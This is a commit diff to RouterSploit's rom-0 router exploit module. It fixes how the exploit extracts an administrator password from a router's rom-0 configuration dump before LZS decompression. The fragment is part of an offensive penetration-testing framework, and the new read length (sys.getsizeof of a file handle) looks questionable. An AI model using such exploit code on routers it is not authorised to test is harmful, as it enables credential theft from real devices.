rom-0 exploit : fix password extraction bug (#312)

* rom-0 exploit : fix password extraction bug

* Update rom0.py

routersploit/modules/exploits/routers/multi/rom0.py

 import io
 import re
+import sys
 
 from routersploit import (
     exploits,
@@ -75,16 +76,9 @@ class Exploit(exploits.Exploit):
     @staticmethod
     def extract_password(fhandle):
         fpos = 8568
-        fend = 8788
-        chunk = "*"
-        amount = 221
 
         fhandle.seek(fpos)
-        while fpos < fend:
-            if fend - fpos < amount:
-                amount = fend - fpos
-                chunk = fhandle.read(amount)
-                fpos += len(chunk)
+        chunk = fhandle.read(sys.getsizeof(fhandle))
 
         # Decompress chunk
         result, window = lzs.LZSDecompress(chunk)